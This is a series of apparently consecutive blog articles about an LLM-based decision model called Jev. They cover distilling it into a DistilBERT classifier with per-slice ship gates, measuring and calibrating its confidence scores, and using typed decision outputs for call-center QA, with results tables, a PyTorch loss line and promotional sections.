
## The process, in six steps

::image{
  src="images/distilling-jev-into-a-classifier-pipeline.png"
  layout="full"
  alt="Pipeline diagram. 140 human labels fit the teacher, a frozen engine plus a calibrated head that scores
  0.890 held out. The teacher labels 5,140 unlabeled items with calibrated probabilities. A 66M-parameter
  DistilBERT student trains on those soft labels from raw text alone. One temperature is fitted on the 140
  human-labeled items the student never saw. A per-slice gate lets the student serve where it's within 2
  points of the teacher on at least 30 items; the teacher answers where it fails or confidence is low."
  caption="The whole process. The teacher is drawn in dark ink instead of an engine colour because it's a hybrid: Jev's answers plus one question answered by Laya. Students are gray, as DistilBERT is everywhere in this series."
}

[`scripts/distill_student.py`](https://github.com/AnthusAI/Jev-Flywheel/blob/main/scripts/distill_student.py) runs all of it, and it's built to be rerun whenever the teacher improves.

**1. Teacher.** We fit the head on the 140 recorded human labels, over Jev's holistic sentiment answer, seven other cached answers, and the topic question the steering round discovered. One detail worth knowing: the pool's topic answers come from Laya, the local open-weights engine from [Jev vs Laya](/blog/jev-vs-laya/), because Jev's answers to that question exist for 740 items only. The teacher labels every pool item with a calibrated probability and scores 0.890 on the held-out items. That's a richer head than the recorded run's two-question scorecard, scored on all 3,521 held-out items instead of 600, so don't line it up against the 0.870 above.

**2. Student.** `distilbert-base-uncased`, 66M parameters, reading the raw text and nothing else. It trains for three epochs on 5,140 pool items. The loss is cross-entropy against the teacher's probabilities:

```python
loss = -(targets * torch.log_softmax(logits, dim=-1)).sum(-1).mean()
```

`targets` holds the teacher's two probabilities for a soft-label student, or a one-hot row for a hard-label one. We trained both, plus a ceiling: the same model on the corpus's reference label for every pool item, as if a person had labeled all 5,140. The 140 items a human did label stay out of student training, because the next step needs them.

**3. Calibrate.** One temperature, fitted by maximum likelihood on those 140 items. A confidence threshold on an uncalibrated student doesn't mean anything.

**4. Evaluate against the human label**, never against the teacher's alone. Agreement with the teacher measures imitation, and a perfect imitator inherits every one of its teacher's errors while scoring 100%. The table below shows how far the two can come apart: the ceiling student agrees with the teacher least (0.896) and is right most often (0.938).

**5. Gate, per slice.** The student may serve a (tier, topic) slice only if it's within two points of the teacher there, measured on human labels, with at least 30 held-out items. Four difficulty tiers times three topic answers gives eleven slices big enough to gate. The gate is per slice on purpose: an overall number hides the slice a student is bad at.

**6. Cascade.** The student answers when its calibrated confidence clears a threshold, and the teacher takes the rest.

## What came out

Three students, three seeds each, all scored on those 3,521 items. We recomputed every figure from [`studies/distill.jsonl`](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/distill.jsonl).

| Trained on | Accuracy vs human (min to max) | Agrees with teacher | ECE raw → calibrated |
|---|---|---|---|
| The teacher's probabilities (soft) | **0.912** (0.911 to 0.913) | 0.940 | 0.038 → 0.033 |
| The teacher's hard labels | 0.908 (0.906 to 0.911) | 0.930 | 0.064 → 0.030 |
| A reference label on every pool item (ceiling) | 0.938 (0.937 to 0.940) | 0.896 | 0.026 → 0.019 |
| *The teacher itself* | *0.890* | | |

::image{
  src="images/distilling-jev-into-a-classifier-students.png"
  layout="full"
  alt="Two-panel dot plot on 3,521 held-out items. Left, accuracy against the human label: teacher 0.890,
  hard-label student 0.908, soft-label student 0.912, ceiling 0.938. Right, calibration error before and
  after one temperature: soft 0.038 to 0.033 with T = 0.42, hard 0.064 to 0.030 with T = 1.56, ceiling 0.026
  to 0.019 with T = 1.36."
  caption="Dots are means of three seeds. The accuracy axis starts at 0.86, so the gaps look bigger than they are: teacher to soft student is 2.2 points. The script didn't record the teacher's calibration error on this set."
}

### The student beat its teacher, and that's the corpus talking

Both distilled students beat the teacher by about two points. One standard error on 3,521 items is about half a point and the seeds agree to within 0.2, so the gap is real on this data.

It isn't magic. The teacher is a linear head over nine answers; the student reads the words. The planted bias is a lexical cue, sports words against workplace words, so a text classifier can pick it up directly while the teacher only sees it through one topic answer. That's our explanation and we didn't test it separately. The slices fit that story: the student's gains sit in the weak tier (0.959 against 0.925) and in neutral text that names neither topic (0.634 against 0.594), and every gated strong and medium slice is 1.000 for both. On a messier corpus, expect a student to approach its teacher.

### Soft labels bought calibration more than accuracy

Soft beat hard by 0.4 points, 0.912 against 0.908, which is about the seed spread. The clearer difference is what each student's confidence looks like before you touch it. The soft student learned the teacher's hedged probabilities and comes out underconfident, so its fitted temperature is 0.42, sharpening it. The hard student saw only ones and zeros and comes out overconfident, at a raw ECE of 0.064 and a temperature of 1.56. Both end near 0.03. If you've calibrated your teacher, train on its probabilities. You've already paid for the information.

### The gate passed 10 of 11 slices in every seed

::image{
  src="images/distilling-jev-into-a-classifier-slice-gate.png"
  layout="full"
  alt="Bar chart of student accuracy minus teacher accuracy for eleven tier-and-topic slices, with a dashed
  gate line at minus 2 points. Strong and medium slices are at zero. Weak workplace is plus 5.4 points, weak
  neither plus 4.2, weak sports plus 1.2, neutral neither plus 4.0, neutral sports plus 2.0. Neutral
  workplace averages minus 1.3, and one seed at 0.707 against the teacher's 0.740 falls below the gate."
  caption="The soft-label student, slice by slice. Bars are the mean of three seeds and dots are the seeds. The open circle is the one failure."
}

The soft student passed all eleven slices in two seeds and ten in the third. The slice that fails is neutral workplace text: 150 items, 0.727 on average against the teacher's 0.740, and 0.707 in the seed that fails. The hard-label student also drops one slice in one seed, and it's a different one (neutral sports, 0.811 against 0.839). The weak spot moves with the seed and the target, so run more than one seed before you believe a gate.

This is the same shape as the ship gate we run in production before a change goes live: a check on every slice a reviewer would recognize, with a margin and a minimum sample size fixed before anyone looks at the results, and no promotion on the overall number alone. A model that's up two points overall and down more than that on one slice doesn't ship.

An overall number can't show this. The student is up 2.2 points overall and down 1.3 on one slice. If that slice were the one your reviewers care about most, the headline would be the wrong thing to ship on.

### The cascade didn't help, and that's a result

::image{
  src="images/distilling-jev-into-a-classifier-cascade.png"
  layout="full"
  alt="Line chart of cascade accuracy at five confidence thresholds. 0.911 at a threshold of 0.6 with the
  student answering 97% of items, 0.911 at 0.7 with 93%, 0.908 at 0.8 with 89%, 0.902 at 0.9 with 81%, 0.897
  at 0.95 with 76%. A dashed line marks the student alone at 0.912 and a dotted line the teacher alone at
  0.890."
  caption="Every item handed back to the teacher cost accuracy, because the teacher is worse on exactly those items."
}

The cascade scored 0.911 at a threshold of 0.6, then 0.911, 0.908, 0.902 and 0.897 at 0.7, 0.8, 0.9 and 0.95, against 0.912 for the student alone. At none of the five thresholds did it win. The student matches or beats the teacher on almost every slice, so deferring swaps a better answer for a worse one. (For the hard-label student one threshold lands 0.2 points above the student alone, which is inside the seed spread.) A cascade earns its keep when the student is weaker than its teacher. We'd still build it, because on messier data we expect it to be.

### Cost and latency

Fine-tuning took about two minutes per model on an M1 Max. At batch size one, the student takes 5.6 to 15 ms per item on that machine's GPU. That's the median per run, and we didn't measure machine load, so read it as rough. For scale, Laya takes 18 ms for a single question on the same machine, and Jev is a network call. The labeling itself is a one-time cost: one teacher pass over the items you train on.

## What's the flywheel worth as a label source?

You could skip the teacher and train DistilBERT on the 140 human labels directly. The repo's fine-tune-Laya study did that as a baseline (its arm D; [Jev vs Laya](/blog/jev-vs-laya/) covers the study in full) and scored it on the identical 3,521 items, so architecture, human labels and test set all match.

::image{
  src="images/distilling-jev-into-a-classifier-label-source.png"
  layout="full"
  alt="Horizontal bar chart of accuracy against the human label on 3,521 held-out items. DistilBERT trained
  directly on the 140 human labels: 0.828. DistilBERT distilled from a head fitted on those 140 labels over
  5,140 unlabeled items: 0.912. The ceiling with a label on every item: 0.938. A dotted line marks the
  teacher at 0.890."
  caption="Same model, same 140 human labels, same held-out items. Bars are means of three seeds; whiskers run from the lowest seed to the highest."
}

| DistilBERT, 66M parameters | Human labels used | Training items | Accuracy, 3,521 held-out (min to max) |
|---|---|---|---|
| Fine-tuned directly on the human labels | 140 | 140 | 0.828 (0.819 to 0.839) |
| Distilled from the aligned teacher (soft) | 140, through the teacher | 5,140 | 0.912 (0.911 to 0.913) |

The rest of the series reports a 600-item sample, where the direct fine-tune scores 0.835 (0.818 to 0.848). Nobody scored the distilled students on that sample, so the 3,521 items are the only fair ground.

More than eight points separate the two rows, and the same 140 human judgements paid for both. What differs is everything the teacher adds: 5,140 training items instead of 140, soft targets instead of hard ones, and Jev's reading of each text folded into every label. The recipes differ too. The direct fine-tune ran ten epochs at a learning rate picked by three-fold cross-validation; the students ran three epochs at a fixed rate. We haven't separated those effects. The ceiling student is a partial control: the students' recipe, given 5,140 correct hard labels, reaches 0.938, so the recipe isn't the weak link and label volume is the likelier one.

The direct fine-tune does win somewhere. On the neutral tier it scores 0.720 across the 3,521, ahead of the distilled student (0.702) and the teacher (0.676), and its 0.782 on the smaller sample is the highest neutral-tier score of any arm in that study at 140 labels. The neutral tier is where the planted cue decides the label, and 140 examples were enough for a text classifier to find it. Where it loses is ordinary sentiment: 0.719 on the medium tier, where the teacher and both students score 1.000. Jev already knows what sentiment is, and the teacher passes that on. Reading it that way is our interpretation. We're leaving the direct fine-tune's calibration figures out. When we checked that study's calibration step, it fit one temperature on cross-validation models and applied it to differently trained final ones, and calibration error for the same seed moved between runs. The accuracy comparison holds. A calibration comparison wouldn't mean much.

## How this relates to text-classifier-distillation

Distilling an LLM into a small classifier isn't new, and we have a more finished project for the general case. [text-classifier-distillation](https://github.com/AnthusAI/text-classifier-distillation) has you write each classification task as prompts in a YAML file. GPT-4o-mini generates a training set from a positive and a negative instruction per task, one MobileBERT encoder with a small head per task trains on SageMaker, and CDK deploys a serverless endpoint. Its README reports about 270 ms a request against 1.5 to 3.0 seconds for the teacher LLM, and roughly 50 minutes and under a dollar for the whole pipeline. That's a path from a distilled model to something you can call in production, and Jev-Flywheel has none.

The two meet from opposite ends. That project starts from a prompt you wrote and invents a curriculum for it. This one starts from a labeling function that reviewers' disagreements have already corrected, which is the whole job of the flywheel, and points it at text that already exists. The other README is candid about the risk in inventing data. It names shortcut learning, the "Clever Hans" effect: a student that learns sentence length because the generator wrote long positives and short negatives. Its recommendation is to graduate from generating data to curating it, by feeding the teacher real logs to find and label.

What we did here is that curated path. But the warning still reaches us from the other side. Our text wasn't generated for this experiment, but the corpus is constructed and templated, and templated text flatters a text classifier for some of the same reasons generated text does. The student's two points over its teacher are a shortcut that happens to be right on this corpus.

What this work adds is the deciding-whether-to-ship part, which that README doesn't cover.

## May your student ship? A checklist

1. **Check the teacher's calibration first.** Soft targets from an uncalibrated teacher teach the student the wrong confidence.
2. **Hold the human-labeled items out of student training.** They're the only labels you have that aren't the teacher's opinion.
3. **Score against the human label.** Report agreement with the teacher too, but never ship on it.
4. **Fit one temperature on the held-out human labels**, and report ECE before and after.
5. **Cut the held-out set into slices your reviewers would recognize**, and set a margin and a minimum slice size before you look. Ours were two points and 30 items.
6. **Run several seeds.** Our one failing slice failed in one seed of three, and a different slice failed for the other student.
7. **The student serves the slices that pass.** For the rest, and for low-confidence items, keep the teacher in the loop, and measure whether the cascade helps before assuming it does.

## After it ships

Ship the student and keep the teacher. When the student holds its own almost everywhere, as it did here, the teacher's job becomes monitoring: run it on a sample, watch agreement per slice, and label the disagreements. Those labels go back into the flywheel.

A student can't fix what its teacher gets wrong on a slice; it copies it. So the slices to watch are the teacher's weak ones, and the teacher's per-slice accuracy tells you which they're going to be.

When the scorecard changes, because the gate promoted a refit or a steering round added a question, the labels change and the student is stale. Relabel the pool and distill again. Training took two minutes here. That's continuous learning in the literal sense: reviewer feedback improves the teacher, the teacher relabels, the student retrains, and the hosted model stays off the hot path.

That's the same loop that keeps a production classifier's accuracy measured after it ships: a sample of the teacher's verdicts on watched slices, disagreements labeled and fed back, and an audit trail of what changed and when. It's how a system keeps improving month over month instead of quietly drifting once nobody's watching the accuracy number.

## What we haven't tested

- **A messy corpus.** Ours is constructed and templated, with a lexical planted cue. That flatters any text classifier, and it's why the student's win over its teacher shouldn't be read as general.
- **A real labeler.** The labeler is a script that answers with the corpus's reference label, so "the teacher's labels" and "the human label" come from one oracle. With a real person, the teacher's errors are that person's disagreements with the head, and a student inherits them.
- **The teacher's own calibration on the held-out set.** The script records the students' ECE and the teacher's accuracy, and it doesn't record the teacher's ECE on those 3,521 items.
- **Other students.** One architecture, DistilBERT. We didn't try a smaller model, a larger one, or a multi-head encoder like the sibling project's.
- **Drift.** We measured everything at one moment. We haven't measured how fast a student goes stale as the text or the rubric moves.
- **Production.** There's no deployment path in this repo: no endpoint, no batching, no load test. The latency figure comes from a laptop GPU.
- **The label-source effects, separately.** We haven't run the direct fine-tune with the students' recipe, or a student on 140 teacher-labeled items.

## We run this distillation loop for clients, at scale

This repo is the small, reproducible version of a loop we've run in production for years: a reviewer corrects a verdict and says why, the explanation becomes a stated policy in the scorecard, and once the aligned system is trustworthy enough, we distill it into a small classifier a client owns and runs themselves. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions, and it's the [case study](/blog/call-criteria/) behind the ship-gate discipline in the results.

[Plexus](/platform/plexus) is where we run it: the alignment, the calibration, the per-slice gates, and the distillation step that gets a hosted model off your hot path.

If you've got a hosted model doing real work and want it distilled into something you own, we'll build and gate the student for you. [Here's how an engagement works](/engage).

## Run it

```bash
git clone https://github.com/AnthusAI/Jev-Flywheel && cd Jev-Flywheel
make install
make student
```

It needs Apple silicon and about 1.2 GB of downloads. From a fresh clone it took about 11 minutes on an M1 Max, excluding downloads: about 4 asking Laya the topic question and about 6 training. It prints three lines, roughly 0.91 (soft), 0.91 (hard) and 0.94 (ceiling), against a teacher at 0.89. It runs one seed where our table uses three, and it needs no Jev key because the recorded answers ship with the repo.

When you want the student behind an endpoint, [text-classifier-distillation](https://github.com/AnthusAI/text-classifier-distillation) is the tool for that half. The loop that produced the teacher, step by step with the measurement behind each step, is on the [decision models page](/decision-models/).

---

# Can You Trust Jev's Confidence?

> A decision model's confidence should mean something. Jev's does: higher really does mean more likely right. But on 8,801 labeled examples they ran overconfident, and how you phrase the request changes the pattern. Calibration fixes most of it.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-19

Canonical: https://anth.us/articles/can-you-trust-jev-confidence/

Suppose you route decisions on a model's confidence: accept everything above 90%, send the rest to a person. That policy only works if "90%" means something. Jev returns a confidence with its answers, and in [our last article](/blog/making-decisions-instead-of-generating-text/) we said the way to find out is to test it against labeled data. So we did.

The short version: Jev's confidence is useful, but out of the box it ran up to 15 points overconfident, and it isn't a probability of being right until you calibrate it against your own labels. A calibration step closes most of that gap. The way you set up the question in the request changes what the raw numbers look like, too.

This is the same problem behind every confidence-gated system: the model hands you a number, and only your own reviewers can tell you what that number is worth. Calibrating it means labeling a few hundred of your own verdicts, agree or disagree, and fitting a curve to what your reviewers actually did. Once the number matches what your reviewers found, you can set a real threshold, auto-accept above it, and route everything else to a person. That calibration loop costs far less than building a labeled dataset before you ever start classifying.

::image{
  src="images/jev-calibration-stated-vs-actual.png"
  layout="full"
  alt="Line chart of Jev's stated confidence against actual accuracy. Noul climbs toward the
  perfect-calibration diagonal, reaching 100% at the top. Choice stays near 50% until 93% confidence, then
  jumps to 90%."
  caption="The same sentiment task, asked two ways. Stated confidence runs along the bottom; how often Jev was actually right runs up the side. A perfectly calibrated model would sit on the dashed diagonal."
}

## Three words that get mixed up

- **Accuracy** is measured. It's the share of predictions that agreed with the ground-truth labels, over some set of examples.
- **Confidence** belongs to a single prediction. It's how strongly the model favors the answer it gave: the probability it assigns to that answer. On its own it says nothing about whether the answer is right.
- **Calibration** is how well the two line up. Among predictions made with about 90% confidence, is accuracy about 90%? Expected calibration error (ECE) is the average gap between stated confidence and observed accuracy, and it's the number we'll keep coming back to.

A model can be accurate and badly calibrated, or well calibrated and not very accurate. Routing decisions on confidence needs the second property.

## The experiment

We reused the 10,000-line sentiment dataset from our earlier [confidence-from-a-fine-tuned-classifier work](/blog/fine-tuned-classification-with-confidence/). After dropping exact repeats it's **8,801 examples** in four tiers of difficulty: strong, medium, weak, and neutral. The neutral tier has deliberately arbitrary labels (2,000 of the examples), so about 50% accuracy there is the correct result, and we report the numbers with and without it. We split the examples 60/40 into a calibration set (5,280) and an untouched test set (3,521).

Jev's [interface](https://docs.typesafe.ai/introduction) takes some text and a set of typed questions. We used two of its question types for the main comparison:

- **Noul**, a yes/no question that returns the probability of yes. Ours was "Is the overall sentiment of this text positive?"
- **Choice**, which picks one option and returns a probability for each. Ours chose between `positive` and `negative`.

We also asked six other versions of the question, covering wording, polarity, option order, option descriptions, an extra "neutral" option, and a five-level Score rubric. Jev evaluates the questions in a request independently, so we sent the whole panel in a single request per example. The base run of 8,801 requests came to about 2.9 million input tokens, roughly $0.12 at TypeSafe's published $42 per billion, with a median latency of 0.24 seconds. The eight-question panel cost about $0.21 for the whole dataset. Those are our estimates from token counts, and they cover model charges only. The model version was `jev-1.13.0`.

Everything is in the [Jev-Calibration repository](https://github.com/AnthusAI/Jev-Calibration), including Jev's raw responses, so you can rerun every chart without an API key.

## Higher confidence does mean more likely right

The most important result is that Jev's confidence sorts right answers from wrong ones well. One way to measure that is AUROC: pick one correct and one incorrect answer at random, and ask how often the correct one had the higher confidence. A coin flip gets 0.5.

On the same 1,000 examples our earlier work ran through Llama 3.1-8B, Jev's confidence scored **0.83**, against **0.72** for Llama's log-probability-based confidence. Without the neutral tier, it was 0.90 against 0.76. That comparison is against the base Llama model, not the fine-tuned one, with different prompts, so read it as the same data through two different systems.

And the pattern is visible in the raw buckets. For Noul, accuracy climbs from 47.6% for answers stated at 50 to 60% confidence to 100% above 95%.

## But the numbers aren't probabilities of being right yet

Ranking well doesn't mean the stated confidence matches the observed accuracy. Averaged over all 8,801 examples, Noul's mean confidence was 79.0% against 72.3% accuracy: about 7 points overconfident. Choice's was 91.4% against 76.1%: about 15 points. Without the arbitrary-label neutral tier those gaps shrink to about 1 and 9 points. So Noul is modestly overconfident, and Choice is clearly overconfident.

The averages hide where the trouble is, and it's different for each question type.

### Noul: solid at the extremes, shaky in the middle

::image{
  src="images/jev-calibration-noul-bars.png"
  layout="full"
  alt="Bar chart for Noul, by stated-confidence bucket. Accuracy trails stated confidence in the middle
  buckets (54% at 71%), and all 2,104 answers above 95% were correct."
  caption="Noul, raw values, all 8,801 examples. Grey bars are what Jev stated; blue bars are how often it was right. Under each bucket: how many answers landed there, and their share of the total."
}

Every one of Noul's 2,104 answers above 95% confidence was correct, and nearly all of them were the strong and medium examples: 978 strong, 1,083 medium, 42 weak, and one neutral. Between 90 and 95% it was 95.9% accurate, better than it claimed.

The middle is where it goes wrong. In the 60 to 80% bucket, the average stated confidence was 70.7% and Jev was right 54.3% of the time. Weak and neutral examples account for 1,636 of the 1,637 errors among the 3,428 answers with 55 to 80% confidence.

### Choice: close to a coin flip until 95%

::image{
  src="images/jev-calibration-choice-bars.png"
  layout="full"
  alt="Bar chart for Choice, by stated-confidence bucket. Accuracy is 50–57% in every bucket below 95%, and
  90% in the top bucket, which holds 63% of all answers."
  caption="The same view for Choice. Below 95% stated confidence, accuracy hovers between 50% and 57%, whatever number Jev states."
}

Choice tells a different story. From 50% to 95% stated confidence, it was right 50 to 57% of the time, so the stated number carries almost no information. Only the top bucket is informative, and it's huge: 5,559 answers, 63% of everything. There, Jev's average stated confidence was 99.4% and its accuracy was 90.2% (96.1% without the neutral tier). Unlike Noul's top bucket, it includes plenty of ambiguous text: 2,276 weak-tier examples and 769 neutral-tier ones. Choice hands out near-certainty freely.

If you take one practical point from this section: on this data, Noul's raw confidence above about 90% held up, and Choice's raw confidence below 95% told us almost nothing. Even Choice's top bucket overstates by about nine points (about three and a half without the neutral tier).

## How you ask changes the answer

Those two patterns raised an obvious question: is it the question type or the phrasing? We had asked Jev the same sentiment question in eight ways and derived three more setups from the answers (an expected score and two averages), so we could check.

::image{
  src="images/jev-calibration-setups.png"
  layout="full"
  alt="Two dot plots comparing 11 setups for the same sentiment question. Accuracy ranges from 72.3% to
  76.9%, and raw calibration error from 6.4 to 16.0 percentage points."
  caption="Eleven setups for the same question, raw values, test split. Left: accuracy at the default 0.5 cutoff. Right: calibration error of the raw P(positive)."
}

Both measures moved:

- **Accuracy** ranged from 72.3% to 76.9% at the default cutoff. Rewording a single Noul question, from "is it positive?" to "does the writer express a favorable, approving, or satisfied attitude?", took it from 72.3% to 76.1%. That's a real difference (the first is significantly worse than the two-option Choice, paired exact test p = 6×10⁻⁶) while the reworded one ties it (p = 0.95). The spread across three Noul wordings is as large as the gap between the two question types, so phrasing matters as much as type.
- **The differences all live in the weak tier.** Strong (1.000), medium (about 0.997), and neutral (about 0.50) are the same for every setup. Much of the gap is the cutoff: the first Noul under-calls "positive", and once we pick the cutoff on the calibration set, the setups land within about three points of each other.
- **Raw calibration error** ranged from 6.4 to 16.0 points. Averaging several framings gave the best raw calibration, and the two-option Choice variants gave the worst.

Reversing the order of Choice's options changed accuracy by under a point. The same Noul question asked inside a different request differed from its earlier answer by 0.007 on average, so the results aren't an artifact of what else is in the request.

The takeaway: the setup is part of the classifier. Report accuracy with its wording and cutoff, and don't assume a calibration you learned for one setup applies to another. That last point is our inference from the fitted curves differing across setups, and we haven't tested reusing one calibration on another.

## Calibration fixes it

Calibration learns a mapping from Jev's raw probability to how often that probability was actually right, fitted on the calibration set and scored on the test set. We tried the two standard methods. **Platt scaling** fits a smooth logistic curve with two parameters. **Isotonic regression** fits any never-decreasing step function to the data.

::image{
  src="images/jev-calibration-platt-vs-isotonic.png"
  layout="full"
  alt="Chart of Jev's raw P(positive) against how often the label was positive, showing a smooth Platt curve
  and a stepped isotonic curve. The isotonic curve follows a plateau near 65% that the Platt curve misses."
  caption="What each method does to Jev's Noul answer. The dots are what actually happened. Isotonic follows the plateau; Platt bends through it."
}

There's a plateau in the data. Raw scores from about 0.31 to 0.66 all corresponded to roughly 65% positive labels. A smooth sigmoid can't bend that way, so Platt splits the difference and misses at both ends. Isotonic follows the data.

For the Noul question on the test set:

| | ECE | Brier score | Log loss |
|---|---|---|---|
| Raw Jev | 0.117 | 0.162 | 0.467 |
| Platt scaling | 0.052 | 0.143 | 0.420 |
| Isotonic regression | **0.008** | **0.138** | **0.401** |

Neither method changes which answers rank above which, so accuracy and AUROC barely move. Calibration makes the number mean what it says, and it can't add information the score doesn't contain.

This is the mechanism a production confidence-gated system runs on: fit the calibration curve, set a threshold in calibrated terms, and let everything above it go straight through while everything below routes to a reviewer. The curve just has to be calibrated, because the reviewer catches what falls under the bar.

::image{
  src="images/jev-calibration-error-by-setup.png"
  layout="full"
  alt="Dot plot of calibration error for 11 setups. Raw error of 6 to 16 points falls to under 2 points after
  isotonic regression for every setup; Platt scaling lands in between."
  caption="Calibration error on the test set for every setup. Isotonic regression brought all eleven under two points."
}

That held for every setup. Raw ECE ranged from 0.064 to 0.160, Platt from 0.026 to 0.115, and isotonic from **0.006 to 0.018**. Once calibrated, the way you phrase the question matters much less for calibration error, though the ranking quality still differs a little.

### How much labeled data do you need?

The usual advice is that isotonic regression is data-hungry and Platt is the safer choice for small calibration sets. We tested it: draw n labeled examples from the calibration set, fit both methods, score on the test set, and repeat 200 times per size.

::image{
  src="images/jev-calibration-set-size.png"
  layout="full"
  alt="Two panels showing calibration error against number of calibration examples for Noul and Choice.
  Isotonic error keeps falling with more examples; Platt error flattens after about 200."
  caption="Calibration error as the calibration set grows, for Noul (left) and Choice (right). Lines are averages over 200 random draws; bands span the 10th to 90th percentile."
}

The advice didn't hold on this data. For both question types, isotonic matched or beat Platt on average at every size from 20 to 5,280 examples. Platt flattens out by about 200 examples: its shape is wrong for this data, and more examples don't fix that. Isotonic keeps improving and hadn't stopped at 5,280. With 200 examples, isotonic error on the Noul question averaged 3.8 points against 5.7 for Platt; with 500 it was 2.6 against 5.4. On Choice, Platt never got below about 9 points.

Below about 50 examples, both are noisy, and one unlucky draw can be worse than not calibrating. A few hundred is enough to get most of the benefit.

A few hundred labels is also the number we've found holds up in production: enough to fit a calibration curve you can trust, without asking a reviewer team to grade a dataset before the system does any real work.

## What we'd do with this

1. **Pick the question setup first**, and treat its wording and options as part of the model.
2. **Label a few hundred examples** from your own data, including the ambiguous ones. The results above depend heavily on how many hard cases there are.
3. **Fit isotonic regression** on part of them and check it on the rest.
4. **Set thresholds in calibrated terms.** "Accept above 90%" then means the accepted answers are right about 90% of the time. This is how we route work in production: the confident majority clears automatically, and a reviewer only sees the calls that need a person, which is what lets a QA operation cover far more calls than a sampled audit. On the non-neutral examples, ranking by calibrated confidence let us auto-accept roughly 65 to 74% of decisions at 95% accuracy or better, depending on the setup. That range is sensitive to ties, because Jev rounds its probabilities to two decimals, so we wouldn't quote a precise figure.
5. **Refit when the wording, the data source, or the model version changes.**

## What we haven't tested

- **One constructed sentiment dataset and one model version.** This isn't a real call-QA scorecard. The band-level patterns are more likely to carry over than the averages, which depend on our tier mix.
- **Many comparisons on one test set.** Picking a best setup out of eleven candidates from the same test data is optimistic, and we haven't computed confidence intervals. The gap between Platt and isotonic is large enough to trust. The ordering among setups is weaker evidence.
- **Fine-tuned and hosted models.** We compared against base Llama 3.1-8B only. We've seen concentrated log-probabilities from some commonly used hosted models in our own production work, as we noted in the [last article](/blog/making-decisions-instead-of-generating-text/), but we didn't rerun that comparison here, so this piece makes no claim about them.
- **Jev's own `confidence` field.** For a two-option question it's `2·p_top − 1`. That measures how peaked the distribution is and isn't a probability of being right, so we worked with the top probability instead. It may behave differently with more options.

The next test is the one we proposed last time: put Jev against a scorecard we understand, in shadow mode, with expert-adjudicated calls. If the calibration holds there with a few hundred labeled examples, the case for running whole scorecards through it gets a lot stronger.

Until then, the answer to the question in the title is: yes, with a calibration step. Jev's confidence is informative out of the box, but it's a ranking until you check it against your own labels, and it's worth checking every time you change how you ask.

## We run this calibration loop for clients, at scale

This dataset and this test set are the small, reproducible version of a calibration loop we've run in production for years. A reviewer agrees or disagrees with a verdict, and that label refits the curve; when a reviewer's comment points at a pattern the model keeps missing, that pattern becomes a stated policy the system checks going forward. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions, and it's the [case study](/blog/call-criteria/) behind the coverage numbers a calibrated confidence threshold makes possible.

[Plexus](/platform/plexus) is where we run it: the calibration, the auto-accept thresholds, the reviewer workflow, and the audit trail behind every promoted change.

If you're routing decisions on a model's confidence and want to know whether your threshold means what it says, we'll calibrate it against your own labels. The whole loop, with the published measurement behind each step, is on the [decision models page](/decision-models/). [Here's how an engagement works](/engage).

---

# Decision Models: Making Decisions Instead of Generating Text

> Jev is a decision model: it turns a scorecard’s bounded questions into the model’s native output, making high-volume QA faster, cheaper, and easier to operate.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-17

Canonical: https://anth.us/articles/making-decisions-instead-of-generating-text/

::image{
  src="images/jev-confidence.png"
  layout="right"
  alt="Three confidence bubbles show AI decisions at 76%, 92%, and 98%."
}

Anthus has spent the last several years building post-call quality analysis at industrial scale. After a customer-service conversation ends, our systems analyze the recording or transcript against a scorecard: did the representative resolve the request, follow policy, or leave something unanswered? We began with conventional ML models, then increasingly used LLMs when the work called for more nuanced language understanding. LLMs brought a mismatch: they produce open-ended text, and a QA scorecard needs a bounded decision with a usable measure of uncertainty.

Jev points at a different way to close that gap. Instead of fitting a text generator into a classifier's job, TypeSafe designed Jev to return typed decisions and probabilities directly: give it a state and a set of bounded questions, and each one comes back as a choice, a score, or a probability, no parsing or retries required to get there. For post-call QA, that could move the classifier's home from a wrapper we build around a text generator to a model whose native output already is the classifier, with the application still responsible for scorecards, thresholds, and review policy.

::image{
  src="images/jev-square-peg-round-hole.jpg"
  layout="full"
  alt="A robot tries to fit a square red peg into a round opening, representing the difficulty of adapting
  text-generating models into bounded classifiers."
  caption="Turning a text generator into a classifier means constraining, parsing, retrying, and routing an output that was never designed to be a bounded decision."
}

That's the bet TypeSafe is making with Jev's design, and it's a bet our own production work is positioned to test: we've been running exactly that shape of decision for years, just without a model built to return it natively.

Our [Plexus MLOps platform](https://plexus.anth.us/) carries that work into production scorecards. Teams define criteria as scores, evaluate them against labeled examples, then feed expert corrections into a [Feedback Alignment Optimizer](https://plexus.anth.us/documentation/procedures/optimizer) that proposes and tests score changes against both recent feedback and a fixed regression set. It is a practical classifier data flywheel: each measured round gives the next one better evidence to work from. Each scorecard is a versioned set of questions and a small fitted head that turns the answers into a verdict, evaluated against held-out labels and promoted only when it beats the version it's replacing. We run hundreds of them live at once for one client, and every promotion is on record: what changed, on what evidence, and who approved it.

That production background is why [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev) is interesting to us. It isn't merely another model we could place inside the same wrapper. It makes the decision itself a first-class model interface and asks how much of that wrapper should exist at all.

## We built classifiers around text generators

In production, that mismatch becomes a contract problem. A quality-assurance application needs a stable field such as `YES`, `NO`, or `NA`, along with enough evidence about uncertainty to decide whether software can accept the result.

Getting from one shape to the other takes work. A prompt defines the allowed labels. A parser rejects extra prose or malformed JSON. Retries recover some invalid responses. Fine-tuning improves performance on a particular scorecard. Orchestration records versions, handles failures, and decides when a person should review the case.

Token log probabilities sometimes gave us a confidence signal, but they were an awkward foundation for routing. In our own production work, some commonly used models returned tightly concentrated log-probability distributions that appeared certain about nearly every answer. Those numbers did little to separate routine cases from the ones a person should inspect. Newer reasoning models we have evaluated often don't expose token log probabilities at all. These are observations from our systems, rather than claims about every model or provider, but they show why a probability-aware classifier interface is materially different from extracting confidence from generated text.

We described an earlier version of that approach in [Fine-Tuned Classification with Confidence](/blog/fine-tuned-classification-with-confidence/). The details have evolved, but the operational lesson has held: classification quality lives in the whole system. The prompt, model, rubric, parser, threshold, evaluation set, and human review process all matter.

That system can work well. It also contains machinery whose main purpose is translating between a text generator and a classifier.

## Jev moves the contract into the model

Jev's [interface](https://docs.typesafe.ai/introduction) accepts shared state and a collection of questions. It exposes three decision shapes:

- **Choice** selects from defined options and returns a probability distribution.
- **Score** evaluates the state against a rubric.
- **Noul** returns the probability that a yes-or-no statement is true.

